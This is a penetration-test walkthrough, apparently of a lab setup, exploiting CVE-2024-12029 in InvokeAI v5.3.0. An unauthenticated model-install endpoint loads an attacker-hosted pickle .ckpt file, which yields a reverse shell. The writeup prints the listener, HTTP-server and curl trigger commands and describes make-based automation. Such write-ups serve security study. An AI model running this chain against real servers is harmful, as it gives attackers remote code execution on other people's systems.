In this writeup, we'll go through the steps to obtain a reverse shell on InvokeAI, a popular open-source AI image generation platform.
InvokeAI is a self-hosted AI engine used to run Stable Diffusion models locally and generate images from text prompts. We will be exploiting one of its features that allows users to install models from remote URLs.
Machine Walkthrough
We start with enumerating the machine by a simple port scan.


HTTP service on port 9090.
Visit the website.

The first thing that catches our eye is the version of InvokeAI visible in the UI, v5.3.0. We do a quick search to find out if it has any public vulnerability.
CVE-2024-12029: InvokeAI exposes a /api/v2/models/install endpoint that accepts a source parameter — a URL pointing to a model file to download and install. When the model is processed, InvokeAI calls torch.load() on the downloaded file without any safety validation. torch.load() uses Python's pickle module internally, meaning a specially crafted .ckpt file with a malicious __reduce__ method will execute arbitrary OS commands the moment the file is deserialised — with no authentication required.
The version of picklescan pinned in this release (0.0.14) does not detect malicious payloads inside .ckpt files, which is precisely the condition that makes this CVE exploitable.
I recommend reading the full report on https://huntr.com/bounties/9b790f94-1b1b-4071-bc27-78445d1a87a3.
Manual Exploitation
The attack flow is straightforward:
- Craft a malicious
.ckptfile containing a pickle reverse-shell payload - Serve it over HTTP from the attacker machine
- POST to
/api/v2/models/install?source=<attacker-url>&inplace=true - InvokeAI downloads the file and deserialises it with
torch.load() - The pickle
__reduce__fires and the reverse shell connects back
Step 1 — Generate the malicious payload
We craft a .ckpt file containing a Python reverse shell serialised with pickle. When torch.load() processes it, the __reduce__ method fires and executes our command.
python3 generate_payload.py 10.0.2.15 4444

Step 2 — Start the HTTP server
InvokeAI needs to fetch the payload over HTTP. We serve it from the same directory:
python3 -m http.server 8888

Step 3 — Start the listener
In a separate terminal, start a netcat listener to catch the incoming reverse shell:
nc -lvnp 4444

Step 4 — Trigger the exploit
We POST to the vulnerable /api/v2/models/install endpoint, pointing the source parameter at our hosted payload. InvokeAI downloads it and passes it to torch.load() — no authentication required.
curl -X POST "http://localhost:9090/api/v2/models/install?source=http://10.0.2.15:8888/payload.ckpt&inplace=true" \
-H "Content-Type: application/json" \
-d "{}"
The server responds with a job object confirming the install was accepted.

Meanwhile, the HTTP server logs confirm InvokeAI fetched the payload.
Step 5 — Catch the shell
Switch back to the netcat terminal.
pwned :>

Automation
Instead of running each step manually, we automated the full attack chain using a Makefile, generate_payload.py, and exploit.py.
Project Structure
exploitation/InvokeAI_v5.3.0/
├── generate_payload.py # Generates the malicious pickle .ckpt file
├── exploit.py # Triggers the install endpoint (3-step chain)
├── Makefile # Orchestrates fw / listen / serve / attack targets
└── README.md # This writeup
How it works
The exploit.py script automates the full attack in 3 steps:
- Generate the malicious
payload.ckptviagenerate_payload.py - Pre-flight check — verifies the HTTP server is reachable before triggering
- Trigger — POSTs to
/api/v2/models/installand waits for the shell
Usage
Terminal 1 — Start the listener:
make listen
Terminal 2 — Generate payload and serve it over HTTP:
make serve
Terminal 3 — Trigger the exploit:
make attack
Note: If InvokeAI runs in a podman container, run
make fwonce before anything else to open the iptables FORWARD rules that Kali drops by default.
Override any parameter as needed:
make attack LISTENER_IP=10.88.0.1 LISTENER_PORT=9001 HTTP_PORT=8080
make attack TARGET_URL=http://192.168.1.50:9090
Run make help to see all detected values before launching.
Start listener

Run the exploit

Get shell

Conclusion
This penetration test demonstrates how an attacker can exploit the unsafe use of torch.load() in InvokeAI's model installation pipeline to achieve unauthenticated Remote Code Execution. The combination of an unprotected API endpoint, a vulnerable version of picklescan that fails to flag malicious .ckpt files, and Python's inherently unsafe pickle deserialization makes this a critical vulnerability in any internet-facing InvokeAI deployment.